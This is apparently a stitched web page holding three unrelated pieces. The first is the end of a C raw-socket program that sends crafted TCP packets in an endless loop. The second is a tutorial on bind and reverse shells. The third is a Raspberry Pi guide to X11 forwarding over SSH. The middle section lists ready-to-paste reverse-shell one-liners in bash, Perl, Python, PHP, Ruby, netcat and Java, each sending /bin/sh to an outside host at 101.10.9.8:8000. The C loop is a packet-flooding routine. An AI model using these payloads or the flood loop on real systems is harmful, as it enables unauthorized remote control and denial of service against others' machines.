  tcph->th_win = htonl (65535);	/* maximum allowed window size */
  tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
		      should fill in the correct checksum during transmission */
  tcph->th_urp = 0;

  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
   that the kernel knows the header is included in the data, and doesn't
   insert its own header into the packet before our data */

  {				/* lets do it the ugly way.. */
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
      printf ("Warning: Cannot set HDRINCL!\n");
  }

  while (1)
    {
      if (sendto (s,		/* our socket */
		  datagram,	/* the buffer containing headers and data */
		  iph->ip_len,	/* total length of our datagram */
		  0,		/* routing flags, normally always 0 */
		  (struct sockaddr *) &sin,	/* socket addr, just like in */
		  sizeof (sin)) < 0)		/* a normal send() */
	printf ("error\n");
      else
	printf (".");
    }

  return 0;
}

Appendix A: International Standard

  1. RFC 675
  2. RFC 793
  3. RFC 1122
  4. RFC 2581
  5. RFC 3168 (ECE and CWR flag)
  6. RFC 3540 (NS flag)
  7. RFC 5681

Shell, a little program acts as intermediary between user and the kernel, is a program which is always exists on any operating system. In Unix, you have bash / csh / zsh or etc while in Windows you get cmd. Shell provides user an interface which enable user to access the kernel services.

There are many ways to access a shell remotely (accessing other computer). One might prefer accessing over SSH. However, add a new account / SSH key / .rhosts file is sometimes impossible when you don’t have enough privileges. Your next option is using different method without involving any third party.

In the rest of this article we would use following scenario:

+-----------------+               _______________           +----------------+
| Alisia          |  Behind NAT  /              /           | Raite          |
| With Private ip | ----> ----> /  Internet    /----> ----> | with Public IP |
+-----------------+            /______________/             +----------------+

We have two player: Alisia and Raite. Alisia is on network A, behind a NAT and having a private IP. World can’t communicate with her directly (use router as a medium, if allowed). Raite is on network B, using public IP. World can communicate with him directly, just contact the IP.

Also we will use netcat on some sections.

The commands are also suppose to be one line only so it can be pasted into a single command.

Bind Shell


In bind shell method, a target machine bind his shell (cmd.exe or bash) to a specific port. After that, people connect to the specified port.

Let’s suppose Raite has encountered some problem with his system. Using Bind Shell method, he open his shell to port 8000 and ask Alisia for help.

Raite’s End

Raite bind himself to a specific port. He then listen for incoming connections and people then can access his shell remotely. Let’s say the port we choose is 8000

Netcat

In Unix, suppose your bash is in /usr/bin/bash:

nc -lvp 8000 -e /usr/bin/bash

In Windows, use:

nc -lvp 8000 -e cmd.exe

Alisia’s End

Alisia act as a client. She then connect to Raite and control Raite’s shell (the other end).

Assuming the port used by Raite is 8000 (as stated in previous section) and has IP 101.10.9.8.

Netcat

nc 101.10.9.8 8000

Reverse Shell


In reverse shell, a client bind his shell to specific port. A target then connect to client to specified port. Then, the data (result) is streamed to client machine over the connection.

Let’s suppose today Alisia has problem with his machine. But as she is behind a NAT network, she can’t ask Raite to connect to her machine. But, Raite has. Therefore, we use reverse shell method.

Raite’s End

Listening for a connection. He binds to a specific command. When incoming connection arrive, He can control shell on the other side.

Suppose the port chosen is 8000

Netcat

nc -lvp 8000

Alisia’s End

Would bind her shell and send it to Raite through network (connect).

Alisia would stream her data to Raite. Suppose Raite’s IP is 101.10.9.8 and use port 8000

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/101.10.9.8/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="101.10.9.8";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.10.9.8",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("101.10.9.8",8000);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("101.10.9.8",8000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 101.10.9.8 8000

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 101.10.9.8 8000 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/101.10.9.8/8000;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

There are some ways for accessing Raspberry Pi: access Pi directly or indirectly. You might at least try one of thus method for connecting your Pi to your PC.

The direct access involving access without any medium. You connect screen (LCD screen, for example), keyboards, mice, etc to your Pi. This way, your Raspberry Pi act as normal computer. You operate it like you operate your PC. This method has a drawback, whenever you want to use Pi you must provide appropriate input and output device (keyboard, mouse, screen).

Another way to access Pi is using indirect access. This method involving other medium to access Pi, technically a network. In this term, your Pi is connect to a network and you can access the Pi over the network. SSH and VNC are the good example of this. This method demand us to provide good network connection if you want a good connection.

Accessing Pi over network is good, you don’t need other peripheral / device such as keyboard, mouse, or LCD screen. If you want to do thing graphically you can use VNC (Virtual Network Computing). However, using VNC is somehow slow because the application and desktop environment are rendered both on your Pi and your desktop. VNC also require better network as it sends picture / screen image over time.

There is a better solution for this problem. Instead of rendering the graphic on Pi, why don’t we render it on our local computer? This way, Pi only send us minimal packet. Using this method, we can also use keyboard and mouse on our local computer, just like indirect access do.

In this article we will discuss about other way to remote accessing your desktop without VNC. If in other article we use X.org server on Linux & Unix, on this article we still use X but in cygwin environment. For this article I use:

  1. Windows 8 on PC
  2. cygwin64
  3. Raspbian Wheezy on Raspberry Pi

Alternatively, you can use cygwin for 32-bit. However as my Windows 8 is 64-bit I will stick to it.

X Window System – Server & Client Architecture

X Window is originated at the Massachussetts Institute of Technology (MIT) In 1984. X11 is the system-level software infrastructure for the windowing GUI on Linux, *BSD, and other UNIX-like Operating System. It is designed to handle both local display, as well as across the network displays. X Window is a computer software system and network protocol that provides a basis for graphical user interfaces (GUIs) and rich input device capability for networked computers. It creates a hardware abstraction layer where software is written to use a generalized set of commands, allowing for device independence and reuse of programs on any computer that implements X.

X was designed from the beginning to be network-centric. It adopts a “client-server” model.

In the X model, the “X server” runs on the computer that has the keyboard, monitor, and mouse attached. The server’s responsibility includes tasks such as managing the display, handling input from the keyboard and mouse, and other input or output devices (i.e., a “tablet” can be used as an input device, and a video projector may be an alternative output device). Each X application (such as XTerm or Firefox) is a “client”. A client sends messages to the server such as “Please draw a window at these coordinates”, and the server sends back messages such as “The user just clicked on the OK button”.

In a home or small office environment, the X server and the X clients commonly run on the same computer. However, it is perfectly possible to run the X server on a less powerful desktop computer, and run X applications (the clients) on, say, the powerful and expensive machine that serves the office. In this scenario the communication between the X client and server takes place over the network.

This confuses some people, because the X terminology is exactly backward to what they expect. They expect the “X server” to be the big powerful machine down the hall, and the “X client” to be the machine on their desk.

It is important to remember that the X server is the machine with the monitor and keyboard, and the X clients are the programs that display the windows.

Preparations

As stated before, the X window is using client/server model. Our communication would be on top of secure connection. Specifically, SSH (Secure SHell) connection are chosen to transport data (as a tunneling). Therefore, we should configure SSH server properly.

Now on your Raspberry Pi, configure SSH server. Obviously, you MUST install your SSH server program. Edit following file /etc/ssh/ssh_config, make sure these lines are not commented.

ForwardAgent yes
ForwardX11 yes
ForwardX11Trusted yes

Now open /etc/ssh/sshd_config and edit the file so it has following line:

X11Forwarding yes

Restart the SSH Server.

On our host, make sure X11 is installed on cygwin. We won’t cover how we installed cygwin or X11.

Remote Display

Open up cygwin terminal. We need an X server. At default, cygwin will not running X at startup.

We want to create a server on our local machine. This X server will manage our local screen output as well as other X client (Raspberry Pi in this case). To initiate a server, do following (assuming we use default display :0):

export DISPLAY=:0
xinit -- $DISPLAY

A new window should appear with a black blank screen. You would see a new terminal there.

Now connect to Raspberry Pi using SSH.

ssh -X [email protected]_ip_address

user is the username we will use and the raspberry_ip_address is the Pi’s IP address. Make sure you can access and you can login to Pi.

Once you are logged in, execute this to start the X.

lxsession &
lxpanel &

Now, your window should be drawn to your Raspbian’s LXDE.

Because X on cygwin implementation is a window, you can view both your desktop and remote desktop at same time.

Social media & sharing icons powered by UltimatelySocial